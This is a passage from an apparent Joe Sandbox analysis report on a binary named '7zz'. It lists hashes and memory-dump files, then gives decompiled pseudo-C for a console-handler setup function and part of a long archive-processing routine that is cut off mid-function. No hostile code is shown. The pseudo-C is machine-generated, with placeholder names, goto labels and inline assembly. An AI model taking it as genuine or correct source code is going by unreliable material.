Instruction ID: e14221b4d4571bb8ce16e4270dc159bfc05a2a4ec554c7619059b64f20a7a871
Opcode Fuzzy Hash: 78da64c83f022de252c9f3b9393e79e8e8f0598f65b7705b2bb17acd63838e59
Instruction Fuzzy Hash: 72E0C236D00118ABCF01DF99D8448DEBBB9FB89320F008026F918B7150D774AA55DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00401917 Relevance: 1.5, APIs: 1, Instructions: 16
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E00401917(intOrPtr* __ecx) {
				char* _v8;
				int _t3;

				_push(__ecx);
				 *__ecx = 0x47a258; // executed
				_t3 = SetConsoleCtrlHandler(E004018DA, 0); // executed
				if(_t3 == 0) {
					_v8 = "SetConsoleCtrlHandler fails";
					return E0046B8F4( &_v8, 0x47cf70);
				}
				return _t3;
			}

0x0040191a
0x00401922
0x00401928
0x00401930
0x0040193b
0x00000000
0x00401942
0x00401948

APIs

SetConsoleCtrlHandler.KERNELBASE(004018DA,00000000,?,?,00405F11), ref: 00401928

Part of subcall function 0046B8F4: KiUserExceptionDispatcher.NTDLL(0047CF70,?,00405CA1,?,?,?,0047CF70,?,?,?,00405CA1), ref: 0046B922

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: ConsoleCtrlDispatcherExceptionHandlerUser
String ID:
API String ID: 800448078-0
Opcode ID: c57a94fcc2ff641e783d7d42d438578698c1fdfcb3f1448bf117dec9e0f929f3
Instruction ID: 6ced6f053643f7caf5f562c5cf66968f1a01d4a1bbfb89d95e4470d53f11f31c
Opcode Fuzzy Hash: c57a94fcc2ff641e783d7d42d438578698c1fdfcb3f1448bf117dec9e0f929f3
Instruction Fuzzy Hash: 21D05BB024030876D710EF958D06B4D369CDB81748F20809BE104B22D1E7F9A500571E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00441925 Relevance: 20.4, APIs: 10, Strings: 1, Instructions: 1131
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E00441925(intOrPtr __ecx, signed int __edx) {
				void* __edi;
				intOrPtr _t641;
				intOrPtr* _t642;
				int _t650;
				char _t652;
				intOrPtr* _t654;
				intOrPtr _t669;
				signed int _t681;
				int _t700;
				intOrPtr* _t723;
				intOrPtr* _t729;
				int _t730;
				intOrPtr* _t731;
				intOrPtr* _t739;
				intOrPtr* _t744;
				intOrPtr* _t746;
				intOrPtr* _t754;
				intOrPtr* _t758;
				signed int _t766;
				intOrPtr* _t773;
				intOrPtr* _t775;
				intOrPtr* _t783;
				int _t788;
				intOrPtr _t790;
				struct _CRITICAL_SECTION* _t793;
				intOrPtr _t796;
				signed int _t797;
				void* _t805;
				int _t845;
				intOrPtr* _t852;
				int _t856;
				signed int _t857;
				int _t858;
				intOrPtr* _t865;
				intOrPtr* _t870;
				intOrPtr _t872;
				intOrPtr* _t880;
				intOrPtr* _t898;
				signed int _t902;
				signed int _t903;
				void* _t904;
				signed int _t905;
				signed int _t906;
				signed int _t907;
				intOrPtr* _t911;
				int _t928;
				intOrPtr _t931;
				signed int _t934;
				intOrPtr _t963;
				void* _t985;
				signed int _t996;
				signed int _t1133;
				signed int _t1135;
				signed int _t1154;
				signed int _t1155;
				void* _t1158;
				signed int _t1159;
				intOrPtr* _t1160;
				intOrPtr _t1161;
				struct _CRITICAL_SECTION* _t1163;
				void* _t1164;
				int _t1165;
				signed int _t1170;
				intOrPtr* _t1172;
				int _t1173;
				intOrPtr _t1174;
				signed int _t1175;
				int _t1176;
				intOrPtr* _t1177;
				signed int _t1178;
				intOrPtr _t1179;
				intOrPtr _t1180;
				intOrPtr _t1182;
				intOrPtr _t1183;
				intOrPtr _t1184;
				void* _t1186;
				void* _t1188;
				void* _t1189;
				void* _t1198;
				void* _t1205;

				_t1146 = __edx;
				L0046B890(E00478DCE, _t1186);
				_t1189 = _t1188 - 0x3a0;
				 *((intOrPtr*)(_t1186 - 0x24)) = __ecx;
				_t931 =  *((intOrPtr*)(_t1186 + 0x10));
				_t928 = 0;
				_t1154 = 0;
				 *((intOrPtr*)(_t1186 - 0x60)) = __edx;
				 *(_t1186 - 0x18) = 0;
				 *(_t1186 - 0x14) = 0;
				 *((intOrPtr*)(_t1186 - 0x30)) = 0;
				 *(_t1186 - 0x2c) = 0;
				 *((intOrPtr*)(_t1186 - 0x48)) = 0;
				 *(_t1186 - 0x44) = 0;
				if( *((intOrPtr*)(_t931 + 8)) <= 0) {
					L6:
					_t641 =  *((intOrPtr*)(_t1186 + 0x18));
					_t1194 = _t641 - _t928;
					if(_t641 != _t928) {
						 *(_t1186 - 0x18) =  *(_t1186 - 0x18) +  *((intOrPtr*)(_t641 + 4));
						asm("adc [ebp-0x14], ebx");
					}
					_t642 =  *((intOrPtr*)(_t1186 + 0x1c));
					_t1155 = 1;
					 *(_t1186 - 0x18) =  *(_t1186 - 0x18) + _t1155;
					asm("adc [ebp-0x14], ebx");
					 *((intOrPtr*)( *_t642 + 0xc))(_t642,  *(_t1186 - 0x18),  *(_t1186 - 0x14));
					_t1170 =  *(_t1186 + 0x14);
					E00439D90(_t1186 - 0x3ac, _t1194, _t1170);
					_t934 =  *(_t1170 + 0x40);
					 *(_t1186 - 4) = _t1155;
					 *(_t1186 - 0x18) = _t928;
					 *(_t1186 - 0x14) = _t928;
					 *(_t1186 - 0x20) = _t934;
					if(_t934 > 0x400) {
						 *(_t1186 - 0x20) = 0x400;
					}
					E0043DF8F(_t1186 - 0x2ec);
					 *(_t1186 - 4) = 2;
					if(_t1170 == _t928) {
						L12:
						 *(_t1186 - 0xd) = _t928;
						L13:
						_t1198 =  *(_t1186 - 0x2c) - _t928;
						if(_t1198 <= 0 && (_t1198 < 0 ||  *((intOrPtr*)(_t1186 - 0x30)) <= _t1155)) {
							 *(_t1186 - 0xd) = _t928;
						}
						if( *(_t1186 - 0xd) == _t928) {
							L37:
							_push( *((intOrPtr*)(_t1186 + 0x1c)));
							_push( *((intOrPtr*)(_t1186 + 0x18)));
							_push(_t1170);
							_push( *((intOrPtr*)(_t1186 + 0x10)));
							_push( *((intOrPtr*)(_t1186 + 0xc)));
							_push( *(_t1186 + 8));
							_t928 = L00443231( *((intOrPtr*)(_t1186 - 0x24)),  *((intOrPtr*)(_t1186 - 0x60)));
							goto L124;
						} else {
							_t652 =  *((intOrPtr*)( *((intOrPtr*)(_t1170 + 0xc))));
							 *((char*)(_t1186 - 0x39)) = _t652;
							if(_t652 != _t928) {
								L21:
								if(_t652 != 0xc) {
									L33:
									if( *((char*)(_t1186 - 0x39)) == 0xe) {
										_t902 =  *(_t1186 - 0x20);
										_t1133 = (0 |  *((intOrPtr*)(_t1170 + 0x20)) - _t928 > 0x00000000) + 1;
										_t903 = _t902 / _t1133;
										_t1146 = _t902 % _t1133;
										 *(_t1186 - 0x2ac) = _t1133;
										 *(_t1186 - 0x20) = _t903;
										if(_t903 <= _t1155) {
											 *(_t1186 - 0xd) = _t928;
										}
									}
									L36:
									if( *(_t1186 - 0xd) != _t928) {
										E00405B9F(_t1186 - 0x5c);
										 *((intOrPtr*)(_t1186 - 0x5c)) = 0x47b8ac;
										_push(0x10);
										 *(_t1186 - 4) = 3;
										_t654 = L004079F2();
										__eflags = _t654 - _t928;
										if(_t654 == _t928) {
											_t1172 = 0;
											__eflags = 0;
										} else {
											 *(_t654 + 4) = _t928;
											 *(_t654 + 0xc) = _t928;
											 *_t654 = 0x47b89c;
											_t1172 = _t654;
										}
										__eflags = _t1172 - _t928;
										 *((intOrPtr*)(_t1186 - 0x64)) = _t1172;
										 *((intOrPtr*)(_t1186 - 0x28)) = _t1172;
										if(_t1172 != _t928) {
											 *((intOrPtr*)( *_t1172 + 4))(_t1172);
										}
										_push(1);
										_push( *((intOrPtr*)(_t1186 + 0x1c)));
										 *(_t1186 - 4) = 4;
										E00441191(_t1172);
										L00443921(_t1186 - 0x13c);
										_push( *((intOrPtr*)(_t1172 + 0xc)));
										 *(_t1186 - 4) = 5;
										_push( *(_t1186 - 0x20));
										E0040F265(_t1186 - 0x13c);
										E0044295A(_t1186 - 0xe4, 0x10000);
										L00467C60(_t1186 - 0xd8);
										 *(_t1186 - 0xc0) = _t928;
										 *(_t1186 - 4) = 6;
										 *((intOrPtr*)(_t1186 - 0xbc)) = _t1186 - 0xe4;
										L00443B5C(_t1186 - 0xb8);
										 *(_t1186 - 4) = 7;
										L00443A5E(_t1186 - 0x90);
										 *(_t1186 - 4) = 8;
										E00404AD0(_t1186 - 0xa4, 4);
										 *((intOrPtr*)(_t1186 - 0xa4)) = 0x47a7f0;
										 *(_t1186 - 4) = 9;
										E00404AD0(_t1186 - 0x7c, 4);
										 *((intOrPtr*)(_t1186 - 0x7c)) = 0x47a668;
										 *(_t1186 - 4) = 0xa;
										_t1173 = E0040E850(_t1186 - 0xe4,  *(_t1186 - 0x20) << 9, _t928);
										__eflags = _t1173 - _t928;
										if(_t1173 == _t928) {
											_t1174 =  *((intOrPtr*)(_t1186 + 0x10));
											_t1158 = 0;
											__eflags =  *((intOrPtr*)(_t1174 + 8)) - _t928;
											if( *((intOrPtr*)(_t1174 + 8)) <= _t928) {
												L50:
												_t1175 =  *(_t1186 - 0x20);
												__eflags = _t1175 - _t928;
												if(_t1175 <= _t928) {
													L52:
													_t1159 = 0;
													__eflags =  *(_t1186 - 0x20) - _t928;
													if( *(_t1186 - 0x20) <= _t928) {
														L63:
														 *(_t1186 - 0x2c) =  *(_t1186 - 0x2c) | 0xffffffff;
														 *(_t1186 - 0x40) = _t928;
														 *(_t1186 - 0x38) = _t928;
														_t669 =  *((intOrPtr*)( *((intOrPtr*)(_t1186 + 0x10)) + 8));
														__eflags = _t669 - _t928;
														if(_t669 <= _t928) {
															L123:
															E00440D28( *((intOrPtr*)(_t1186 - 0x24)), _t1146, _t1186 - 0x5c,  *((intOrPtr*)(_t1186 + 0x18)));
															 *(_t1186 - 4) = 9;
															E00408604(_t1186 - 0x7c);
															 *(_t1186 - 4) = 8;
															E00408604(_t1186 - 0xa4);
															 *(_t1186 - 4) = 7;
															E00442DE5(_t1186 - 0x90);
															 *(_t1186 - 4) = 6;
															E00442E79(_t1186 - 0xbc);
															 *(_t1186 - 4) = 5;
															E0044296D(_t1186 - 0xe4);
															 *(_t1186 - 4) = 4;
															L0044395A(_t1186 - 0x13c, __eflags);
															 *(_t1186 - 4) = 3;
															L0043361B(_t1186 - 0x28);
															 *(_t1186 - 4) = 2;
															L00443C57(_t1186 - 0x5c);
															goto L124;
														} else {
															goto L64;
														}
														do {
															L64:
															__eflags =  *((intOrPtr*)(_t1186 - 0x74)) -  *(_t1186 - 0x20);
															if( *((intOrPtr*)(_t1186 - 0x74)) >=  *(_t1186 - 0x20)) {
																L95:
																_t681 =  *(_t1186 - 0x38) << 2;
																 *(_t1186 - 0x1c) = _t681;
																_t963 =  *((intOrPtr*)(_t681 +  *((intOrPtr*)(_t1186 - 0xac))));
																__eflags =  *((intOrPtr*)(_t963 + 0x41)) - _t928;
																if( *((intOrPtr*)(_t963 + 0x41)) == _t928) {
																	_t1160 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t1186 + 0x10)) + 0xc)) + _t681));
																	L0044375C(_t1186 - 0x294);
																	__eflags =  *((intOrPtr*)(_t1160 + 1)) - _t928;
																	 *(_t1186 - 4) = 0x18;
																	if( *((intOrPtr*)(_t1160 + 1)) == _t928) {
																		L99:
																		L00443768(_t1186 - 0x294,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t1186 + 0xc)) + 0xc)) +  *(_t1160 + 8) * 4)));
																		_push(_t1186 - 0x294);
																		__eflags = L0043F571( *((intOrPtr*)(_t1186 - 0x60)), _t1146);
																		if(__eflags != 0) {
																			_t1176 = 0x80004001;
																			L146:
																			 *(_t1186 - 4) = 0xa;
																			E0043CD47(_t1186 - 0x294, __eflags);
																			 *(_t1186 - 4) = 9;
																			E00408604(_t1186 - 0x7c);
																			 *(_t1186 - 4) = 8;
																			E00408604(_t1186 - 0xa4);
																			 *(_t1186 - 4) = 7;
																			E00442DE5(_t1186 - 0x90);
																			 *(_t1186 - 4) = 6;
																			E00442E79(_t1186 - 0xbc);
																			 *(_t1186 - 4) = 5;
																			E0044296D(_t1186 - 0xe4);
																			 *(_t1186 - 4) = 4;
																			L0044395A(_t1186 - 0x13c, __eflags);
																			 *(_t1186 - 4) = 3;
																			L0043361B(_t1186 - 0x28);
																			L147:
																			 *(_t1186 - 4) = 2;
																			L00443C57(_t1186 - 0x5c);
																			L148:
																			 *(_t1186 - 4) = 1;
																			E0043E0CB(_t1186 - 0x2ec);
																			 *(_t1186 - 4) =  *(_t1186 - 4) | 0xffffffff;
																			E00442D78(_t1186 - 0x3ac);
																			_t650 = _t1176;
																			goto L125;
																		}
																		__eflags =  *_t1160 - _t928;
																		if( *_t1160 == _t928) {
																			_t1146 =  *(_t1186 + 8);
																			_t700 = E00442EE9( *((intOrPtr*)(_t1186 - 0x24)),  *(_t1186 + 8), _t1160, _t1186 - 0x294,  *((intOrPtr*)(_t1186 - 0x28)), _t1186 - 0x18);
																			__eflags = _t700 - _t928;
																			if(__eflags != 0) {
																				L145:
																				_t1176 = _t700;
																				goto L146;
																			}
																			L119:
																			_push(_t1186 - 0x294);
																			L00443C8F(_t1186 - 0x5c);
																			 *(_t1186 - 0x18) =  *(_t1186 - 0x18) + 0x1a;
																			asm("adc [ebp-0x14], ebx");
																			E00441083( *((intOrPtr*)( *((intOrPtr*)(_t1186 - 0x64)) + 8)),  *(_t1186 - 0x18),  *(_t1186 - 0x14));
																			_t494 = _t1186 - 0x38;
																			 *_t494 =  *(_t1186 - 0x38) + 1;
																			__eflags =  *_t494;
																			L120:
																			 *(_t1186 - 4) = 0xa;
																			_t985 = _t1186 - 0x294;
																			L121:
																			E0043CD47(_t985, __eflags);
																			goto L122;
																		}
																		L101:
																		__eflags =  *((intOrPtr*)(_t1160 + 1)) - _t928;
																		if( *((intOrPtr*)(_t1160 + 1)) == _t928) {
																			_t790 = E00440593(_t1186 - 0x294);
																		} else {
																			_t790 =  *((intOrPtr*)(_t1160 + 2));
																		}
																		__eflags = _t790 - _t928;
																		if(_t790 == _t928) {
																			__eflags =  *(_t1186 - 0x2c) -  *(_t1186 - 0x38);
																			if( *(_t1186 - 0x2c) >=  *(_t1186 - 0x38)) {
																				_t1178 =  *(_t1186 + 0x14);
																			} else {
																				_t1178 =  *(_t1186 + 0x14);
																				 *(_t1186 - 0x2c) =  *(_t1186 - 0x38);
																				_t1146 = _t1178;
																				E00442B0A( *((intOrPtr*)(_t1186 - 0x24)), _t1178, _t1160, _t1186 - 0x294);
																				E0044072C( *((intOrPtr*)(_t1186 - 0x270)),  *((intOrPtr*)(_t1160 + 0x18)),  *((intOrPtr*)(_t1160 + 0x1c)),  *((intOrPtr*)(_t1178 + 0x54)));
																			}
																			_t793 =  *( *(_t1186 - 0x1c) +  *((intOrPtr*)(_t1186 - 0xac)));
																			 *(_t1186 - 0x68) = _t793;
																			__eflags =  *((intOrPtr*)(_t793 + 0x40)) - _t928;
																			if( *((intOrPtr*)(_t793 + 0x40)) == _t928) {
																				_t1179 =  *((intOrPtr*)( *((intOrPtr*)(_t1186 - 0x84)) +  *( *(_t1186 - 0x70)) * 4));
																				_t796 =  *((intOrPtr*)(_t1179 + 0x18));
																				__eflags =  *((intOrPtr*)(_t796 + 0x15)) - _t928;
																				if( *((intOrPtr*)(_t796 + 0x15)) == _t928) {
																					 *(_t1186 - 0x44) = _t928;
																					_push(_t1186 - 0x44);
																					 *(_t1186 - 4) = 0x1a;
																					E00440F0D( *((intOrPtr*)(_t1186 - 0x24)));
																					E00442A14( *((intOrPtr*)(_t1179 + 0x18)),  *(_t1186 - 0x44));
																					 *((char*)( *((intOrPtr*)(_t1179 + 0x18)) + 0x15)) = 1;
																					L00467B10( *((intOrPtr*)(_t1179 + 0x18)) + 0x1c);
																					 *(_t1186 - 4) = 0x18;
																					L0043361B(_t1186 - 0x44);
																				}
																				_t797 = WaitForMultipleObjects( *(_t1186 - 0x9c),  *(_t1186 - 0x98), _t928, 0xffffffff);
																				 *(_t1186 - 0x1c) = _t797;
																				_t1180 =  *((intOrPtr*)( *((intOrPtr*)(_t1186 - 0x84)) + ( *(_t1186 - 0x70))[_t797] * 4));
																				L00437D6C(_t1180 + 0x20);
																				_t700 =  *(_t1180 + 0x9c);
																				 *((char*)(_t1180 + 0xb8)) = 1;
																				__eflags = _t700 - _t928;
																				if(__eflags != 0) {
																					goto L145;
																				} else {
																					E00408784(_t1186 - 0x7c,  *(_t1186 - 0x1c), 1);
																					E00408784(_t1186 - 0xa4,  *(_t1186 - 0x1c), 1);
																					__eflags =  *(_t1186 - 0x1c) - _t928;
																					if(__eflags != 0) {
																						_t1165 =  *( *((intOrPtr*)(_t1186 - 0xac)) +  *(_t1180 + 0xbc) * 4);
																						 *(_t1186 - 0x1c) = _t1165;
																						E0040F015( *(_t1180 + 0x18), __eflags, _t1165);
																						_t996 = 6;
																						_t805 = memcpy(_t1165 + 0x28, _t1180 + 0xa0, _t996 << 2);
																						_t1189 = _t1189 + 0xc;
																						 *((char*)(_t805 + 0x40)) = 1;
																						goto L120;
																					}
																					_t700 = E0040F032( *(_t1180 + 0x18));
																					__eflags = _t700 - _t928;
																					if(__eflags != 0) {
																						goto L145;
																					}
																					 *(_t1186 - 0x1c) =  *(_t1180 + 0x18);
																					L00437D6C( *(_t1180 + 0x18) + 0x54);
																					L00437D6C( *(_t1186 - 0x1c) + 0x50);
																					_push(_t1186 - 0x294);
																					_push( *((intOrPtr*)( *(_t1186 + 0x14) + 0x55)));
																					E00442BEC(_t1180 + 0xa0,  *((intOrPtr*)( *(_t1186 + 0x14) + 0x54)));
																					_t1146 =  *(_t1186 + 0x14);
																					E00442B0A( *((intOrPtr*)(_t1186 - 0x24)),  *(_t1186 + 0x14), _t1160, _t1186 - 0x294);
																					_push(_t1186 - 0x294);
																					E004408BF( *((intOrPtr*)(_t1186 - 0x24)),  *(_t1186 + 0x14));
																					goto L119;
																				}
																			} else {
																				 *(_t1186 - 0x1c) = _t928;
																				_push(_t1186 - 0x1c);
																				 *(_t1186 - 4) = 0x19;
																				E00440F0D( *((intOrPtr*)(_t1186 - 0x24)));
																				E0040E94A( *(_t1186 - 0x68),  *((intOrPtr*)(_t1186 - 0xe0)),  *(_t1186 - 0x1c));
																				_push(_t1186 - 0x294);
																				_push( *((intOrPtr*)(_t1178 + 0x55)));
																				E00442BEC( *(_t1186 - 0x68) + 0x28,  *((intOrPtr*)(_t1178 + 0x54)));
																				_t1146 = _t1178;
																				E00442B0A( *((intOrPtr*)(_t1186 - 0x24)), _t1178, _t1160, _t1186 - 0x294);
																				_push(_t1186 - 0x294);
																				E004408BF( *((intOrPtr*)(_t1186 - 0x24)), _t1178);
																				E0040E933( *(_t1186 - 0x68), _t1160, _t1186 - 0xe4);
																				 *(_t1186 - 4) = 0x18;
																				L0043361B(_t1186 - 0x1c);
																				goto L119;
																			}
																		} else {
																			_t1146 =  *(_t1186 + 0x14);
																			E004431F3( *((intOrPtr*)(_t1186 - 0x24)),  *(_t1186 + 0x14), _t1160, _t1186 - 0x294);
																			goto L119;
																		}
																	}
																	__eflags =  *_t1160 - _t928;
																	if( *_t1160 != _t928) {
																		goto L101;
																	}
																	goto L99;
																}
																 *(_t1186 - 0x38) =  *(_t1186 - 0x38) + 1;
																goto L122;
															}
															__eflags =  *(_t1186 - 0x40) - _t669;
															if( *(_t1186 - 0x40) >= _t669) {
																goto L95;
															}
															 *(_t1186 - 0x40) =  *(_t1186 - 0x40) + 1;
															_t1177 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t1186 + 0x10)) + 0xc)) + ( *(_t1186 - 0x40) << 2)));
															__eflags =  *_t1177 - _t928;
															if(__eflags == 0) {
																goto L122;
															}
															L0043F39F(_t1186 - 0x1d4, __eflags);
															__eflags =  *((intOrPtr*)(_t1177 + 1)) - _t928;
															 *(_t1186 - 4) = 0x12;
															if( *((intOrPtr*)(_t1177 + 1)) == _t928) {
																_t1161 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t1186 + 0xc)) + 0xc)) +  *(_t1177 + 8) * 4));
																L00443797(_t1186 - 0x1d4, _t1161);
																 *((intOrPtr*)(_t1186 - 0x144)) =  *((intOrPtr*)(_t1161 + 0x90));
																 *(_t1186 - 0x140) =  *((intOrPtr*)(_t1161 + 0x94));
																_push(_t1186 - 0x1d4);
																__eflags = L0043F571( *((intOrPtr*)(_t1186 - 0x60)), _t1146);
																if(__eflags != 0) {
																	 *(_t1186 - 4) = 0xa;
																	E0043CD47(_t1186 - 0x1d4, __eflags);
																	 *(_t1186 - 4) = 9;
																	E00408604(_t1186 - 0x7c);
																	 *(_t1186 - 4) = 8;
																	E00408604(_t1186 - 0xa4);
																	 *(_t1186 - 4) = 7;
																	E00442DE5(_t1186 - 0x90);
																	 *(_t1186 - 4) = 6;
																	E00442E79(_t1186 - 0xbc);
																	 *(_t1186 - 4) = 5;
																	E0044296D(_t1186 - 0xe4);
																	 *(_t1186 - 4) = 4;
																	L0044395A(_t1186 - 0x13c, __eflags);
																	_t723 =  *((intOrPtr*)(_t1186 - 0x28));
																	 *(_t1186 - 4) = 3;
																	__eflags = _t723 - _t928;
																	if(_t723 != _t928) {
																		 *((intOrPtr*)( *_t723 + 8))(_t723);
																	}
																	 *((intOrPtr*)(_t1186 - 0x5c)) = 0x47b8ac;
																	 *(_t1186 - 4) = 0x13;
																	E0040862D();
																	 *(_t1186 - 4) = 2;
																	E00408604(_t1186 - 0x5c);
																	_t1176 = 0x80004001;
																	goto L148;
																}
																__eflags = E00440593(_t1186 - 0x1d4);
																if(__eflags != 0) {
																	L94:
																	 *(_t1186 - 4) = 0xa;
																	_t985 = _t1186 - 0x1d4;
																	goto L121;
																}
																L81:
																 *(_t1186 - 0x34) = _t928;
																_t1163 =  *((intOrPtr*)( *((intOrPtr*)(_t1186 - 0x64)) + 8)) + 0x3c;
																 *(_t1186 - 0x68) = _t1163;
																EnterCriticalSection(_t1163);
																_t729 =  *((intOrPtr*)(_t1186 + 0x1c));
																_t1146 = _t1186 - 0x34;
																 *(_t1186 - 4) = 0x15;
																_t730 =  *((intOrPtr*)( *_t729 + 0x1c))(_t729,  *((intOrPtr*)(_t1177 + 0xc)), _t1186 - 0x34);
																__eflags = _t730 - 1;
																 *(_t1186 - 0x1c) = _t730;
																if(_t730 != 1) {
																	_t1176 =  *(_t1186 - 0x1c);
																	__eflags = _t1176 - _t928;
																	if(_t1176 != _t928) {
																		LeaveCriticalSection(_t1163);
																		_t731 =  *(_t1186 - 0x34);
																		 *(_t1186 - 4) = 0x12;
																		__eflags = _t731 - _t928;
																		if(__eflags != 0) {
																			 *((intOrPtr*)( *_t731 + 8))(_t731);
																		}
																		 *(_t1186 - 4) = 0xa;
																		E0043CD47(_t1186 - 0x1d4, __eflags);
																		 *(_t1186 - 4) = 9;
																		E00408604(_t1186 - 0x7c);
																		 *(_t1186 - 4) = 8;
																		E00408604(_t1186 - 0xa4);
																		 *(_t1186 - 4) = 7;
																		E00442DE5(_t1186 - 0x90);
																		 *(_t1186 - 4) = 6;
																		E00442E79(_t1186 - 0xbc);
																		 *(_t1186 - 4) = 5;
																		E0044296D(_t1186 - 0xe4);
																		 *(_t1186 - 4) = 4;
																		L0044395A(_t1186 - 0x13c, __eflags);
																		_t739 =  *((intOrPtr*)(_t1186 - 0x28));
																		 *(_t1186 - 4) = 3;
																		__eflags = _t739 - _t928;
																		if(_t739 != _t928) {
																			 *((intOrPtr*)( *_t739 + 8))(_t739);
																		}
																		 *((intOrPtr*)(_t1186 - 0x5c)) = 0x47b8ac;
																		 *(_t1186 - 4) = 0x17;
																		L134:
																		E0040862D();
																		 *(_t1186 - 4) = 2;
																		E00408604(_t1186 - 0x5c);
																		goto L148;
																	}
																	_t744 =  *((intOrPtr*)(_t1186 + 0x1c));
																	_t1176 =  *((intOrPtr*)( *_t744 + 0x20))(_t744, _t928);
																	__eflags = _t1176 - _t928;
																	if(_t1176 != _t928) {
																		LeaveCriticalSection(_t1163);
																		_t746 =  *(_t1186 - 0x34);
																		 *(_t1186 - 4) = 0x12;
																		__eflags = _t746 - _t928;
																		if(__eflags != 0) {
																			 *((intOrPtr*)( *_t746 + 8))(_t746);
																		}
																		 *(_t1186 - 4) = 0xa;
																		E0043CD47(_t1186 - 0x1d4, __eflags);
																		 *(_t1186 - 4) = 9;
																		E00408604(_t1186 - 0x7c);
																		 *(_t1186 - 4) = 8;
																		E00408604(_t1186 - 0xa4);
																		 *(_t1186 - 4) = 7;
																		E00442DE5(_t1186 - 0x90);
																		 *(_t1186 - 4) = 6;
																		E00442E79(_t1186 - 0xbc);
																		 *(_t1186 - 4) = 5;
																		E0044296D(_t1186 - 0xe4);
																		 *(_t1186 - 4) = 4;
																		L0044395A(_t1186 - 0x13c, __eflags);
																		_t754 =  *((intOrPtr*)(_t1186 - 0x28));
																		 *(_t1186 - 4) = 3;
																		__eflags = _t754 - _t928;
																		if(_t754 != _t928) {
																			 *((intOrPtr*)( *_t754 + 8))(_t754);
																		}
																		goto L147;
																	}
																	 *(_t1186 - 4) = 0x14;
																	LeaveCriticalSection(_t1163);
																	_t1164 = 0;
																	__eflags =  *(_t1186 - 0x20) - _t928;
																	if( *(_t1186 - 0x20) <= _t928) {
																		L93:
																		 *(_t1186 - 4) = 0x12;
																		L0043361B(_t1186 - 0x34);
																		goto L94;
																	}
																	_t758 =  *((intOrPtr*)(_t1186 - 0x84));
																	while(1) {
																		_t1182 =  *_t758;
																		__eflags =  *(_t1182 + 0xb8) - _t928;
																		if( *(_t1182 + 0xb8) != _t928) {
																			break;
																		}
																		_t1164 = _t1164 + 1;
																		_t758 = _t758 + 4;
																		__eflags = _t1164 -  *(_t1186 - 0x20);
																		if(_t1164 <  *(_t1186 - 0x20)) {
																			continue;
																		}
																		goto L93;
																	}
																	 *(_t1182 + 0xb8) = _t928;
																	_t341 = _t1182 + 0x20; // 0x20
																	E0040C9B4(_t341,  *(_t1186 - 0x34));
																	L00437D6C(_t1186 - 0x34);
																	E0040EFF1( *((intOrPtr*)(_t1182 + 0x18)));
																	L0040F2EB( *((intOrPtr*)( *((intOrPtr*)(_t1182 + 0x10)) + 8)),  *((intOrPtr*)( *((intOrPtr*)(_t1182 + 0x10)) + 0xc)));
																	_t347 = _t1182 + 4; // 0x4
																	L00467B10(_t347);
																	_t766 =  *(_t1186 - 0x40) - 1;
																	__eflags = _t766;
																	 *(_t1182 + 0xbc) = _t766;
																	E00415C6D(_t1186 - 0xa4,  *((intOrPtr*)(_t1182 + 8)));
																	E00415C6D(_t1186 - 0x7c, _t1164);
																	goto L93;
																}
																asm("adc ecx, ebx");
																 *(_t1186 - 0x18) =  *(_t1186 - 0x18) +  *((intOrPtr*)(_t1177 + 0x18)) + 0x1a;
																asm("adc [ebp-0x14], ecx");
																E00441083( *((intOrPtr*)( *((intOrPtr*)(_t1186 - 0x64)) + 8)),  *(_t1186 - 0x18),  *(_t1186 - 0x14));
																_t773 =  *((intOrPtr*)(_t1186 + 0x1c));
																_t1176 =  *((intOrPtr*)( *_t773 + 0x20))(_t773, _t928);
																__eflags = _t1176 - _t928;
																if(_t1176 != _t928) {
																	LeaveCriticalSection(_t1163);
																	_t775 =  *(_t1186 - 0x34);
																	 *(_t1186 - 4) = 0x12;
																	__eflags = _t775 - _t928;
																	if(__eflags != 0) {
																		 *((intOrPtr*)( *_t775 + 8))(_t775);
																	}
																	 *(_t1186 - 4) = 0xa;
																	E0043CD47(_t1186 - 0x1d4, __eflags);
																	 *(_t1186 - 4) = 9;
																	E00408604(_t1186 - 0x7c);
																	 *(_t1186 - 4) = 8;
																	E00408604(_t1186 - 0xa4);
																	 *(_t1186 - 4) = 7;
																	E00442DE5(_t1186 - 0x90);
																	 *(_t1186 - 4) = 6;
																	E00442E79(_t1186 - 0xbc);
																	 *(_t1186 - 4) = 5;
																	E0044296D(_t1186 - 0xe4);
																	 *(_t1186 - 4) = 4;
																	L0044395A(_t1186 - 0x13c, __eflags);
																	_t783 =  *((intOrPtr*)(_t1186 - 0x28));
																	 *(_t1186 - 4) = 3;
																	__eflags = _t783 - _t928;
																	if(_t783 != _t928) {
																		 *((intOrPtr*)( *_t783 + 8))(_t783);
																	}
																	 *((intOrPtr*)(_t1186 - 0x5c)) = 0x47b8ac;
																	 *(_t1186 - 4) = 0x16;
																	goto L134;
																}
																 *((char*)( *((intOrPtr*)( *((intOrPtr*)(_t1186 - 0xac)) +  *(_t1186 - 0x40) * 4 - 4)) + 0x41)) = 1;
																LeaveCriticalSection(_t1163);
																_t788 =  *(_t1186 - 0x34);
